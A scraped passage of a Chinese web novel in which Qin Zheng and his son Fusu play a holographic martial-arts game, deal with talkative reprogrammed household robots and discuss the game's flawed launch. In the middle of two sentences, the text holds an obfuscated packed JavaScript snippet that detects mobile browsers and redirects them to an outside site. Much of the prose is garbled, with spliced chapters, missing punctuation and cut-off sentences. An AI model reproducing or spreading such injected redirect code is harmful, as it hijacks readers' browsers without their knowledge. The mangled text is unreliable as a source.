起初康熙没发现,后来发现了又追不回来,而且他确实觉得自己亏欠儿子。关键是地府里还有胤礽亲娘在呢,康熙面对早亡的发妻也没什么底气,最后只能睁一只眼闭一只眼。 秦政听完微微摇头: “他会觉得亏欠?不过是抹不开面子。” 要脸面的时候说一句亏欠,其实心里早就不满了。胤礽母子大约也是拿捏住了这一点,捏准了康熙不好因此发难。 要是康熙因为被亲戚借走太多钱就恼羞成怒训斥儿子,他自己觉得说出去不好听,会被人指责小气。 扶苏发现这些后世的帝王好像普遍都有过于要脸的毛病,尤 第 238 章 一起玩 第238章一起玩 秦政一眼就认出热帖里反复摔断腿的当事人是他儿子。 全息网游的唯一好处是不会在头顶顶着玩家ID,所以扶苏属于社死了但没有完全社死的阶段。 秦政揉了揉眉心,将帖子链接保存下来。从亲情关联账号的界面里找到了扶苏的号,他不知道扶苏ID多少,不过通过这里可以不用搜索ID直接加好友。 秦政很快加上好友,把帖子链接推送了过去。做完这些,秦政就去发自己的帖子了。 扶苏正好休息,点开一看:…… 扶苏心想,自己得换一张捏脸了。 他以前玩全息游戏都是导入的提前准备好的捏脸建模,有三个备选,一般是在里头随机挑。所以熟悉他的人都知道这脸是他在用,现在不知道被几个好友认了出来。 虽然这会儿再换脸属实有点亡羊补牢的意味,但好歹能狡辩一二。比如对外宣称自己这次玩游戏用的是另外两张捏脸中的一个,不是这个,他也不知道为什么有个长这样的角色在新手村摔死了。 说干就干,扶苏起身隐入山林。 刚刚他已经差不多掌握了轻功技巧,已经不会摔死了,现在可以避开人群用轻功赶路窜到其他地方去。然后换张脸发个动态,假装他一直用的是另一张脸而且一直在别的地区活动。 扶苏还颇为心机地在地图里加上了坐标定位,这个不难,发动态的时候可以勾选“显示当前位置”,一般是为了方便好友定位找过来的。 幸好他建号选的是纯人类。 如果是半妖的话,换个建模也能看出同样的半妖特征,那样就很难狡辩了。 毕竟半妖那么多,恰好选中一样的半妖也太凑巧了。但是选人类就不一样,本来不玩半妖种族的玩家就站比最大,撞了是很正常的事情。 秦政发完帖子回到游戏里,AI智能小助手就提醒他特别关心的好友在游戏圈里发布了新动态。 游戏圈是游戏好友自带的交流区,类似于微信朋友圈那种,加了游戏好友就能看,而且可以选择同步到社交软件朋友圈里去。 扶苏显然选了同步。 秦政点开看了一眼扶苏又闹什么幺蛾子。 看完他给儿子私发了四个字: 「掩耳盗铃。」 扶苏装傻: 「啊?什么意思?」 秦政也不拆穿他,反而在扶苏的游戏圈动态下面帮忙找补了一下,夸他拿着扇子的模样很俊俏。 没一会儿下头就有富二代“狐朋狗友”给扶苏留言,问他新手村断腿哥跟他什么关系。 扶苏轻描淡写地回复: 「那个建模啊?送人了。」 朋友追问怎么送人了,扶苏就说是不怎么用,别人问他要个建模他懒得找,就随手把这个给出去了。 三个建模里确实是这个用得最少,没用过几次。这次扶苏选建模的时候想着自己以前常用的两个建模都人尽皆知是个氪佬了,这次想低调点,才选了它。 现在看来,老天爷都不想让他低调。 这番说辞朋友们信了。 越是轻描淡写,不过多找补,就越容易让人相信。 扶苏演绎好了一个不差钱的公子哥心态,大家都觉得很真实。 尤其是扶苏没有主动解释,都是别人问才回答的。就显得他并没有太在乎这件事,不是巴巴地非要上去主动撇清关系。 秦政围观完全程,心想儿子怎么聪明总是不用在正道上,但到底什么都没说。 那头扶苏加了一串游戏好友。 朋友都说要转到九区来找他一起玩,他说别来。 扶苏换到好友群里说: 「我陪爸爸玩的,没空应付你们。」 他爹是半个公众人物,朋友圈游戏圈这种地方鱼龙混杂,他不知道加了多少关系没那么亲近的人,不好在里头直接公布他爹的近况。 好友群里就不一样了,都是很熟悉的朋友,平时不会往外乱说的。 朋友在群里问他: 「秦叔叔怎么突然来玩游戏?」 扶苏回答: 「当然是为了陪我呀!爸爸特意休假回家陪我玩的,他怕我不玩这款新游戏,过来盯着我。」 父亲辞职的事情没必要到处说,而且父亲以后还会做兼职顾问,所以扶苏为图省事就说是休假了。不然这群人肯定问东问西,比如追问怎么好端端的要辞职。 朋友们已经很习惯扶苏时不时炫耀他爸对他有多 好了,一看就知道这小子想说的是“这次的全息游戏可以锻炼精神力,所以爸爸特别关心我有没有好好玩,关心到亲自请假回家盯着我玩。 怎么应付扶苏他们已经很有经验了。 扶苏发完那段话,群里就没了声。一个两个都在装死,拒绝当他的捧哏。 扶苏:哼。 扶苏把聊天群一关,继续做自己的任务。 扶苏需要尽快赶往目的地,他为了练习轻功已经耽误了一会儿了。好在耽误的时间也不久,才十几分钟而已。 十几分钟能把轻功练好已经很不错了,扶苏感觉这个轻功的难度不低,其他人来练会更难。 官方后续肯定要补个新手版本,不然绝大多数玩家难以上手。估摸着之前是在军队内部搞的测试,忽略了普罗大众根本没有军人的实力。 扶苏提气纵跃,很快窜到了枝头。踩着树梢,身姿轻盈如燕,眨眼间已经飞掠出了数十丈。 很快就有刷怪练级的玩家发现了他,附近频道里出现不少感叹高手的声音。 其实很多人都尝试过练习轻功,毕竟NPC第一次对话就提到了这东西。对轻功感兴趣的玩家不少,自然会忍不住尝试。 但尝试的结果无一例外都是摔死。 所以哪怕很多人在笑话九区的断腿哥,可当自己真的尝试过轻功后,依然不得不承认断腿哥还是有点实力的。 毕竟明眼人都能看出来人家轻功飞得比自己好,会断腿属于还不熟练,估计要不了多久就能顺利使用了。 扶苏抵达目标村落的时候,论坛里已经充斥着断腿帖。有些是自己想练习轻功摔的,有些是看了帖子也跟着去练的,还有的是蹭热度赚关注度的。 《妖魔》应该算是现象级游戏。 官方推广加上精神力提升这个噱头,而且还能代替几个小时的睡眠,应该没多少人会不去玩。 这年头游戏仓不贵,也就一千多一台,和个人终端差不多的价格。 花国早二十年就全面脱贫了,如今基本家家都买得起全息舱。而且《妖魔》开始宣传之后,各地也出台了全息舱的购买补助,就是为了普及入户。 如今玩家人数至少大几亿,人数这么多,里头自然有各式各样的人。扶苏一路飞来就见到 了好多网红主播年龄段从十几岁到百多岁的都有。 居然真的有人用百岁老人的模样进入游戏大部分人都会把自己变得年轻不知道这是为了直播噱头还是个人爱好。 不过全息游戏管理办法里写过游戏形象和本人年龄差距过大的加好友或直播等操作时会强制标上真实年龄段。比如是30+还是50+这样避免旁人受骗。 扶苏还停下听了一会儿。 他听到那个主播说: “老铁们我来挑战用百岁老人的模样闯荡江湖给我点个666!” 扶苏:…… 好古早的话术颇具六十年代七十年代的感觉。他现在怀疑对方哪怕不是真正的百岁老人也得有个六七八十岁了。 ——这里七十年代指的是华夏历七十年左右也就是建国七十年。 扶苏是个标准的七零后大概就是那段时间出生的对当时的流行风潮还有那么点印象。 秦政忽然给儿子发来消息: 「你的新手村是哪个?」 扶苏回了个坐标: 「这个村子。」 秦政看了一眼: 「距离我要去的宗门外派点不远。」 可能是因为至亲一起进入游戏的话系统不会把两人分配得太远。 毕竟有些是十几岁少年人和父母一起玩或者大几十岁的长辈和儿女一起玩需要互相照顾。 扶苏的出生点是宗门的一个分部距离新手村还有点远但目的地却和秦政要去的地方相近。 秦政这会儿也在赶路。 还没有学习过攻击技能的半妖玩家不需要跑太远就能抵达目的地而且出村之后也必然会触发一个学习轻功的任务。 秦政刚避开NPC人群拿回属于自己的行李出村没多久就被拦下了。 是村里和自己这个身份沾亲带故的远房堂弟给他塞了一本秘籍。 堂弟告诉他: “这是咱们族里祖传的东西我是偷偷拿出来的。等你看完我就得把东西还回去你快看吧。” 秦政一边翻一边问: “你不怕被人发现吗?” 堂弟回答: “其实是我爹让我拿给你的 ,只能给你提供一点微薄的帮助。” 他爹是族老之一,秘籍有好几份,其中一份就是由他爹保存着。 秦政很快就翻完还给了他。 根本没几页,而且不需要玩家细看。只要翻完,列表里就会多一个轻功技能的图标。 谢过NPC后,秦政打算去周围找个清净的地方练习轻功。吸取儿子被人围观的教训,他可不想成为下一个断腿哥。 但是没走几步就听到身后堂弟拦下了另一个玩家,说了一模一样的话。 秦政脑海里闪过一个想法——玩家们姓名迥异,有些起的名字还特别抽象,这也能算是同族吗? 堂哥别是本村全体玩家的堂哥吧? 秦政的轻功上手比扶苏快一些,他上论坛很快翻到了高玩总结的轻功技巧。提前掌握了技巧再练习的话,进度自然比单纯自己摸索的扶苏快。 所以秦政很快就赶到了目的地。 给儿子发消息的时候,他已经做了一段时间的任务了。他升到了三级,但他发现儿子还在0级徘徊,就知道对方一直在赶路没来得及练级。 正常流程应该是练好轻功之后,一边赶路一边杀怪。大部分玩家做不到一直在天上飞,中途落下来休息就大概率会触发战斗。 刷怪升级后轻功的内力会立刻回满,虽然不比单纯的打坐回复速度快,相比之下效率却更高。毕竟别人打坐休息的时候,自己好歹还是在刷怪的嘛。 但扶苏偏不,他自己琢磨出了一套节省内力的飞行法子,中途愣是没休息过几回。 秦政确定儿子的任务地点离他这边不怎么远后,就准备带儿子升级。 以前没怎么玩过游戏,秦政也没料到自己居然玩得还挺好。他记得扶苏是氪金党,很多氪金党的游戏水平都不太行,可见阿苏需要父亲带飞。 秦政想到这里,就又给儿子发了条消息。告诉他不着急升级,等下到地方了阿父带你升。 扶苏愉快地答应下来: 「好呀!」 扶苏看出来父亲把他当手残党了,不过无所谓,他很享受阿父庇佑他的感觉。 所以柔弱的人类玩家成功交完了任务之后,就给父亲发了坐标,乖巧地等待父亲来接他离开。 秦政找到人的时候, 扶苏正和NPC聊天。NPC拥有一定的智能,有时候会被玩家套话,说出自己知道的消息。 比如现在: “东边那片山谷里有个狼妖,实力比较强。我上次去试过,没能成功消灭它。可惜了,要是能拿到它的犬牙和利爪,送去城里可以卖不少钱。” 扶苏见父亲来了,和NPC道了别就跑过去,迅速将消息分享给阿父。 秦政点点头: “等我们等级高一点就过去看看。” 秦政在前面开路: “我刚才在前面发现了一个刷怪点,应该能带你升到2级。再往前走一段,还有一个刷怪点,可以升到3级。” 扶苏还没试过刷怪,闻言有些惊讶: “升级这么困难的吗?” 他看父亲的等级也才四级。 秦政问他: “你交任务给了多少经验?” 扶苏说不多: “经验条都没动多少,也就5%左右,钱币和道具给了一点。” 秦政并不意外,他在外派点也接了一些任务。 他发现任务主要是用来刷钱的,偶尔会拿到一些野外难出的装备部件。像是饰品类的装备,野怪基本不掉。 除此之外,NPC会在任务里透露一些和剧情相关的内容。剧情党适合走接取任务老老实实跟着主线走的路子,懒得做任务的话,刷怪也是个不错的选择。 《妖魔》并没有限制死玩家的游戏方式,不会强迫玩家必须跟着主线玩。 秦政对两条线都接受良好,但外派点的任务他已经做了一遍了,村里的任务他又接不了。所以他打算带儿子先把等级升上来,再试试能不能直接跳过前头的,接后续的高阶任务。 扶苏全程就听父亲的安排: “我都可以呀!” 好久没有这样不动脑子地跟着人玩了,扶苏玩得不亦乐乎。 秦政在前面刷怪,让儿子站在安全的后方,随便放点技能就行。四级玩家刷低级怪速度很快,每每扶苏才丢出几个技能,怪物已经倒了一大片。 一片怪区要不了半个小时就能清空。 期间一直没有玩家过来,可见游戏地图确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509690|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实很大。他上论坛瞄了一眼分区,发现现在已经开出两百多个区了。 恐怖。 这还只是暂时的。 因为今天虽然是国庆放假也依然有人被迫加班或者早就决定好了要出门游玩。等晚间才是人数最多的时候几百个区根本不够。 扶苏看完就把论坛关了。 父亲在刷怪他摸鱼上论坛不太好。 所以扶苏很快收敛心神也开始认真输出起来。虽然他的伤害刮痧但他确实也有在认真打。 好不容易升到三级秦政才带他回了外派点尝试接取任务。刷怪掉落了一些垃圾装备不过聊胜于无浑身上下只有两个武器的扶苏还是换上了。 然而刚走到外派点附近就看见那边倒了一片的玩家一个小队在这里无差别攻击刷人头。因为主动杀人头顶原本隐藏的ID已经直接示众了名字变得血红。 看样子是被系统识别成为了敌对阵营而敌对的怪物是会显示名称的。 旁边一个刚来的玩家愣愣的: “这咋了?怎么突然开屠杀啊?” 附近已经没有活着的玩家了这里虽然有NPC却不是安全区所以NPC根本不管玩家们的内部争斗。 那队人很快发现了秦政几人立刻朝这边丢来了技能。 秦政把儿子往树丛里一推正好脱离了攻击范围自己也躲开了攻击。因为没有被击中造成伤害秦政就还没有进入战斗状态可以使用轻功。 他提气很快跃到了几人身边开始反击。原本这群人见他是手短的近战 秦政仗着等级高身法灵活迅速强杀了其中一人。 系统播报: 【成功击杀堕魔者[天天开薪]获得人类阵营声望23点经验值……】 杀红名居然给声望和经验。 通知是发在队伍频道的扶苏看了一眼感觉这给的奖励比刷怪高得多。可惜红名数量有限不能像怪那样群刷。 这人给的声望值有零有整的估计是正好击杀了23名普通玩家。 扶苏很快寻到个不错的位置卡住视野之后放冷箭丢出了几道攻击。 他的门派叫做听风楼笛音攻击就是吹奏笛子。需要记忆的动作是乐 曲旋律,吹对了音就能发出想要的技能。 最简单的基础攻击只有一个音,伤害越高的技能旋律越长。 基础音的伤害都是普通伤害,乱吹的话就是一连串的普攻砸下去,可以靠叠次数把dps刷上去。 正儿八经吹旋律,需要吹奏系统录入过的旋律。这样就算中途换气也不要紧,只要紧接着吹的下一段也是正确的音,技能就不会中止。 但是自己乱吹的话,吹得再好听也只能叠加普攻。除非自创技能,不过自创技能的门槛有点高,很难。 扶苏老老实实吹短音。 他也不管旋律了,要把速度叠上去最快的方法就是一口气不断,然后手指飞快翻飞,按照顺序爬音阶。或者就一根手指来回抬起按下,两个不同的音互相切换。 吹过竖笛的应该都习惯这种操作,只不过是从竖笛换成了横笛。 现实中很多人横笛吹不太响,游戏里就没有这个顾虑了。只要吹气就能响,不用特意调整发音角度这些。 很快,所有人就听到一阵魔音在周围盘旋。两个音反复切换,毫无美感可言,但离谱的是特喵的系统给判断了连击。 不分敌我,在场玩家都看见某个被选中的目标身上跳出了提示【连击x37!】 数字还在不断上涨。 被秦政追得焦头烂额的敌方骂了一句脏话,赶紧指挥人去打断那个玩连击的。 虽然连击是每涨10次伤害才会叠高一层,30+也只是叠了三层的增伤,而且一旦打断增伤就没了,需要重新叠。 可是三层也很高了! 那增伤还是全队分享的,队友可以分享一半的增伤加成。比如扶苏自己攻击敌人是增伤30%,秦政就是增伤15%。 扶苏自己不能顶着增伤切换高攻技能打出爆炸伤害,因为会中断增伤效果。但是秦政可以,秦政果断就切了技能一招削掉了被连击者三分之二的血条。 《妖魔》里一般一套连招也才打掉人90%的血,光一个大招能打掉一半就不错了。一招把人砍成半残,着实吓人。 队长骂傻子队友: “你就不知道躲吗?! 队友很冤枉: “我怎么会知道这剑客会突然冲我来一下啊! 队长继续骂: “我说的是让你往后躲!躲出那个吹笛子的攻击范围!” 有时候打断敌人的连招并不是非得跑去攻击出招者,胁迫他住手。那边是个远程,只要他不切控制,自己完全可以跑出施法距离。 如果他切换控制技了,那正好,一切技能连招就要断,目的达成。 队友恍然大悟: “对哦!” 扶苏却在他后撤的瞬间改变了锁定目标,开始对着另一个人叠连击。 那人脸都绿了,赶紧往后躲。最后队伍里几个全都躲出了施法范围,扶苏也因为敌人远遁超出距离而瞬间脱战了。 不要紧,他可以追过去。 友方听到魔音消失,才刚松了一口气。就见树梢上飞出一个潇洒的身影,三两下来到场中央,锁定目标开始继续摧残所有人的耳朵。 众人:…… 乐器杀手拿到听风楼职业真是要了大命了! 秦政倒是面不改色,已经趁机偷袭杀了三个人。 小队本来也就七个人,一下子死了一小半。本来想快速解决秦政的,可附近追上来的玩家有好几个,秦政混在他们当众补刀不说,身法还特别灵活。 不知道这家伙怎么练的,几乎没有哪个技能能够成功命中。秦政轻轻松松躲开所有攻击,全程保持无伤。 队长脸上铁青: “这小子绝对练过!” 自己这边只是普通的高玩,对面是三次元武功高手,这怎么比? 还有那个吹笛子的! 他能不能别吹了! 本来打架不顺就心烦意乱的,听他那笛子更烦了。属实是伤害值不高,嘲讽值拉满。 队长很快忍无可忍: “来个人给我去把他砍了!” 立刻就有个同样受不了的队友奔向了扶苏,企图先砍死这个敌方派来扰乱军心的气氛组。 扶苏赶紧躲开。 结果都进行躲避操作了,这人居然还能接着吹,他都不换气的吗?! 我方队友也是这么想的: “吹笛子不用换气的?还是全息网游不用换气?这职业平衡是不是有点问题?听风楼难道是版本T0?是不是该建议策划给它削弱一下?” 扶苏听到 第 239 章 绝境逃脱 第239章绝境逃脱 秦政虽然不懂电子技术,但他知道自家儿子懂一点。只是没料到这小子能改家政机器人的记录,毕竟家里用的不是普通的机器人,数据代码没那么容易入侵。 秦政直接问儿子: “是找人来修复数据,还是你自己坦白从宽?” 扶苏乖乖认怂: “不用找人,是我干的。” 既然交代了修改早起时间的事情,其他那些自然也得一并交代。不然以后父亲又得知他还改了别的,但是今天没有一起说出来,那就是罪加一等。 要算账不如一口气算完,这样也能放松下来,安心生活。 秦政听他洋洋洒洒说了一大堆,倒是没有太过生气。儿子肯跟自己说实话,而不是找借口推诿,他就觉得还好。 不过罚还是要罚的。 扶苏接下来一个白天都被罚不许玩游戏,还要跟着父亲看新闻,学知识。 秦政虽然没打算强迫儿子以后从事什么行业,实际上自从孩子大学毕业后沉迷游戏开始,他就相当于放任了扶苏做自己想做的事情。 但多学点知识总不会有错,所以秦政还是拿出了之前那些年的国际新闻,带着扶苏分析探讨了一番。 扶苏倒是听得很认真。 晚饭过后坐下休息消食的时候,扶苏忽然想起上午那位大爷。他在小区业主群里找到了大爷的联系方式,开临时会话问了一下,问他怎么知道自己睡懒觉的。 他们小区里其实住的老人家比较多。 大部分都是那种家里有点钱但也没那么有钱的住户,白天工作忙,所以几乎家家户户都有老人或者住家保姆照顾孩子。 虽然有保姆机器人可以代替人工,可毕竟这东西是机器,很多家长还是觉得需要有实实在在的人来陪伴孩子,而且也担心机器故障不能及时处理。 扶苏因为经常宅在家里,和那些年轻夫妻不太熟,却和他们家里的长辈很熟。 有些经常跟着长辈出来玩耍的孩子,也跟扶苏熟悉。总是在扶苏被父亲发消息催促出门透透气的时候,围上来撒娇。 扶苏至今不明白自己为什么受小孩子的欢迎。 郑大爷说是大爷,扶苏喊 他爷爷,其实他比扶苏大了足足六十岁。 以前的人是爷奶带孙辈,现在的人是太爷太奶带重孙辈、甚至是高爷高奶带玄孙,因为爷奶他们还是奋斗的年纪。 郑大爷中气十足地给扶苏发语音: “小苏啊,不是爷爷说你,你看你,小区里哪儿还有人不知道你爱睡懒觉?你隔壁的王大妈天天从你家门口过,跟你家小红结伴去买菜,啥都打听出来了。” 扶苏:…… 扶苏超级无语地对父亲说: “小红这个嘴碎的机器人!” 小红是家里负责做饭的机器人,因为扶苏的恶趣味,当时买的时候就让人给它的性格标签调整成了健谈。 付款的时候秦政就让他三思,问他一个做饭的机器人为什么要健谈。 扶苏那时候可能是年纪还小,没有意识到问题的严重性,坚决要个健谈的,秦政就随他去了。 现在自己吞苦果。 秦政随手翻着棋谱问他: “所以王姨为什么要和机器人一起结伴买菜?” 这年头老大妈和机器人都能交上朋友了,果然不要小看老年人,人家也是走在时代潮流前列的。 扶苏正想说“这我怎么知道”,忽然顿住了。 秦政看过来: “说吧,你又干了什么?” 扶苏心虚地眨眼: “就是弄了点小程序植入到了机器人的芯片里去……” 市面上大部分机器人的智能是有限的,不是做不到智能太高,是牵扯到一些方方面面的问题。 比如说机器人太像人的话,家里有小孩的会分不清真人假人。所以有未成年的家庭不建议购买太过仿真的机器人,最好不要使用人类仿真外形。 扶苏家里的这些机器人是扶苏未成年前买的,所以不仅智能有限,外形还和人类不太一样。 外形扶苏没改,还是可可爱爱的机器人涂装。但是里头的智能,扶苏私底下搞了程序进化。 因为是他自己搞的,不是联系厂商上门来更新智能库的。所以中间出点问题,比如智能进化到超过一般机器人的程度,也是很有可能的。 秦政去检查了一下几个机器人。 果不其然发现它们的智能程度超过了正常保 姆机器人的范畴,有点向恋爱机器人靠拢了。类似于寻常网游里的智能NPC,不是《妖魔》里的降智版本。 秦政让扶苏自己去解决问题。 智能高不是什么大事,就是要给机器人设定一下保密措施。主人家的事情怎么能往外说?何况秦政之前的工作也涉及到一些保密条例。 扶苏记得自己设置过保密的: “不应该会说漏嘴啊! 他把小红叫来,打开胸膛,拿出个电脑接入中央芯片。翻来覆去检查了一通,最后得出结论,小红的保密措施没什么问题。 扶苏百思不得其解: “王大妈说是小红告诉她的,总不能是她乱讲的。家里的玻璃也是单向玻璃,从外面看,看不见内部。 这年头的单向玻璃早就不像二三十年前了,白天屋外看不见屋内、屋内却能看见屋外,夜里一亮灯屋内看不见屋外、屋外能把屋内看个一清二楚。 现在的单向玻璃是真单向玻璃,对隐私保护的保护力度很大。 扶苏只好又去问王大妈。 王大妈也热情解答: “哎呀!那个还要小红跟我说?我一问,看它的反应我就猜出来啦! 王大妈也是个套话高手,给AI问得答不上来。王大妈一看它脸上的显示器里颜文字变成了≥x≤,就知道是自己猜对了,但是机器人很为难不能说。 扶苏:…… 所以机器人太智能了也不好,模拟人类应对不同情况时的不同反应,就会让一些有生活阅历的看出端倪。 总之,扶苏还得修改芯片。 秦政悠闲地翻着棋谱: “让你乱改,自己慢慢修去吧。 为了改机器人,扶苏晚上也没能上线。等第二天再上线,游戏里头已经大变样了。 扶苏迷茫地站在村子里,看着周围一片焦土,有一种自己不是一天没上线,是一个月没上线的错觉。 秦政的身影慢几秒出现,也被附近的情况弄得一愣。 他们下线的地点距离宗门外派的NPC不算远,但也不近,就是担心又被打群架波及。不过现在远远看向外派点,发现那边的NPC已经不见了,原地只留下了一堆血迹。 应该是游戏里更新了什么大剧 情。 扶苏立刻打开游戏论坛搜索,终于搞清楚了情况。 原来昨天各大新手村都出现了妖魔暴乱的事情,好像是官方设置了触发条件。妖魔阵营的玩家超过多少人,就会有妖魔进攻主城的大事件,引发出下一段主线。 可问题在于玩家们大部队还没进入主城呢,所以新手村就遭了殃。 这倒不算是更新事故。 剧情虽然提前发生了,游戏公司却没什么反应,可见情况还在制作人的控制范围内。顶多算是公司没料到会有那么多玩家提前那么久转换阵营,大概是头一次运营全民游戏导致的。 扶苏对父亲说道: “论坛上分析,说好多没怎么玩过游戏的玩家稀里糊涂被卷入群战了,导致很多人本来要过一段时间才能拿满的人头数提前达标。 还有一些则是这部分玩家自己可能年轻的时候打游戏也挺厉害的,年龄大了被这么一刺激,重拾了热血。别的也不管,就跟他们对拼。 然后打的时候没分敌我,也没管大家为什么打的。他们不像知道阵营的那些玩家一样,普通只打红名、红名只打普通人,他们见谁打谁。 这么个打法,自己不成红名才怪。所以许多人稀里糊涂地转变为了妖魔阵营,现在妖魔的人数过多,远超游戏公司的预料。 秦政听完微微蹙眉: “这个游戏的运营有点问题。 在秦政看来,这就是提前的预案没有做好。 果然,开天辟地头一遭的游戏多多少少都肯定会出点问题。大家都没经验,都是摸着石头过河,又没有经过大规模的内测和公测,怎么可能一帆风顺? 扶苏随便找了个石头坐下: “我以前看过那种小说,写的也是这种国家级推行的全民游戏。不过那些大多是末世题材,说不玩这个游戏,以后大家一起进游戏里避难就会失去先机。 秦政哑然失笑: “这都是什么乱七八糟的? 扶苏仰头笑笑: “关键是它一开始以正常游戏运营,官方也不强制国民进去玩。后续全体人民放弃肉身进入游戏后,游戏依然和之前没什么区别。就好像新进来的不怎么玩游戏的人,并不会对游戏生态造成冲击一样。 当 时扶苏看着就觉得不太对劲。 现在自己切身经历了类似的情况之后,看到官方出现这么大的意外,他才觉得舒服了,对味了。 人越多越容易不可控,把数亿压根不怎么了解网游的人投入进来,还敢不搞公测,简直是大胆。 幸好没有引发太严重的后果。 不过从这里也能看出来,这款游戏其实没有准备得太好。大小bug还是挺多的,扶苏想起开服那天自己发现的轻功难度问题,顺手也给提交了。 秦政问他: “还要继续玩吗? 扶苏听出了父亲的话外之音: “阿父不希望我接着玩这款游戏? 秦政压低声音: “等他们把bug都修完吧。 扶苏懂了。 父亲认为这款游戏不太靠谱,虽然大概率不会出现问题,花国官方也不会让它出问题,但它到底是不怎么完善。 锻炼精神力固然好,但休息一段时间不锻炼也没什么大不了的。 以前都没怎么锻炼过,不一样在正常生活?而且现在也不是所有国民都开启了游戏,还是有很多人没上的。 扶苏忽然想起一点: “这个技术是什么时候拿出来的? 秦政让儿子别在这里聊,两人下线之后再细细讨论。 从游戏仓里出来,父子俩在花房坐下。小墨送来了一壶花茶,扶苏喝了一口就推开了。 秦政果然知道内部消息: “99年的时候,在游戏厂商那边进行了一次招标。当时有好几款游戏竞争,但是最后是它拿下了研发权。 因为游戏的体量太大,要容纳数亿玩家,所以这款游戏没能赶在百年庆祝的时候上市。 最后干脆多拖了一年,打算做得更加精细一些。这样也不会和其他想借着百年庆典宣传一波的友商形成竞争,断人家财路。 结果多拖一年显然还是不太够,但已经不好再拖了。这个技术拿出来,本身也是为了庆贺,不然怎么恰好卡在这个时间点呢? 扶苏有些无语: “就没考虑过多拉几款游戏参与吗?也不是所有人都爱玩这个类型的游戏。 秦政听懂了: “你对这种游戏 兴趣不大。 扶苏摇了摇头: “也不是,还可以吧,但它升级太慢了,玩起来不够爽。 如果要做得老少咸宜,全国数亿人都能玩得开心,现在的游戏风格显然是不合适的。 扶苏险些要怀疑自己是不是生活在什么以“官方推行全民参与全息游戏为背景的小说世界里了,不然为什么操作这么不完善、不规范。 就不说别的。 这款游戏开发出来之后,其他正常运营的游戏怎么办? 它打着锻炼精神力的名头,别的游戏只能单纯娱乐。时间充裕的还能两款一起玩,不充裕的人就只能舍弃别的游戏只玩它了。 那这不是在逼死其他游戏公司吗?这和抢人饭碗有什么区别? 这款游戏还能氪金充值,但是扶苏玩过很多年前的公益游戏家国梦,就完全是不获利的。它还不是官方推行的,只是某日报和某企鹅公司一起联合推出的而已。 一般来说官方推行的游戏应该是这种画风吧?不仅是公益的,还是老人小孩都能轻松上手的,而且结合了一些建国后的发展元素。 秦政眼里泛起一丝笑意: “《妖魔》其实只拿到了第一批次的新技术使用权,后续这些技术会普及到其他全息网游里去。 只是现有的游戏要改造成适配精神力锻炼技术的新版本,需要一定的时间。 那些游戏公司没想到《妖魔》会上得那么快,就把精力先放在了去年的营销获利上。他们本来以为百年的时候《妖魔》没上,肯定是因为还没做好,得再等一两年。 现在《妖魔》对外的宣传里虽然没有明说它是独一份的,却引导舆论暗示民众只有它拥有这个技术。 扶苏听完觉得这个游戏公司要走远了。 本来要是《妖魔》没状况,这点小问题上头也就睁一只眼闭一只眼不去计较了。现在属于各种问题都冒了出来,肯定会一起算账的。 小墨送来了扶苏爱喝的雪碧,又送了一些装盘的零食过来。 扶苏边吃边听父亲给他分析这次几大游戏公司斗法的内幕,这些都是秦政闲来无事研究各家最新动态看出来的。 扶苏拿了颗石榴边剥边说: “那按照现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509691|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况,各家应该会加快 改版的速度。官方也会把资源向其他游戏上倾斜 全息网游出问题可不是闹着玩的一个搞不好就是牵连数千万玩家的重大事故。 扶苏突然想起来: “我们还给他充了十万块钱!” 虽然这对他们家来说是小钱但谁家的钱也不是大风刮来的以后要是不玩的话白送给游戏公司多可惜。 秦政微微摇头: “只是暂时不玩了而已等bug修好了你要是还想玩我自然会陪你回去。” 扶苏想了想: “那我还是挺想去看看它主城里有没有什么好玩的。” 毕竟是有轻功的低魔武侠游戏打起架来还是挺帅的。虽然他不怎么喜欢打架可他喜欢装逼呀。 秦政估算了一下: “最少一个月。” 游戏公司应该在加班加点地修错增加各种预案。 不过因为谁都没经验拿不准那些玩家会做出什么事情来所以还得要十天半个月来评估和了解这些新入坑的玩家。再针对性准备预案避免再次发生这一类的事情。 或者准确来说应该是观察新玩家的行事风格以及新玩家和旧玩家碰撞后会产生的化学反应。 总之都不是什么轻松活需要大量时间来总结经验。 扶苏马后炮: “刚开始就应该老老实实承认这次开服属于公测而不是直接上线。” 至少公测还沾个“测”字出现问题了也好挽尊。 秦政则说: “其他游戏公司会吸取教训的。” 扶苏:…… 这可真是地狱笑话了。 扶苏把剥下来的石榴推到父亲跟前自己又拿了一个接着剥。 边剥边说: “那这一个多月阿父陪我玩点别的吧。正好我之前有个正在玩的游戏我还挺喜欢的。” 秦政答应了。 他欣慰地看了看面前的小碟子: “我家阿苏长大了以前都是让父亲给你剥石榴吃难得见你主动替父亲剥这些。” 扶苏扬了扬唇角: “父亲都退休了当然该我照顾父亲了。” 虽然秦政办 的是辞职,虽然秦政才四十出头。但不要紧,扶苏认定父亲就是退休了,代表着以后几十年都会陪着他,不再出去朝九晚九。 秦政把软籽石榴吃完。 家里买的都是这种的石榴,可以不用吐籽。而且经过代代培育,里头的软籽已经很小了,几乎可以忽略不计,吃起来感觉就是在吃单纯的石榴肉。 买这种水果全都是为了迁就懒得吐籽的扶苏。 当然扶苏是不认自己懒的,他觉得自己纯粹是因为吐籽不雅观,才不爱吃硬籽石榴。 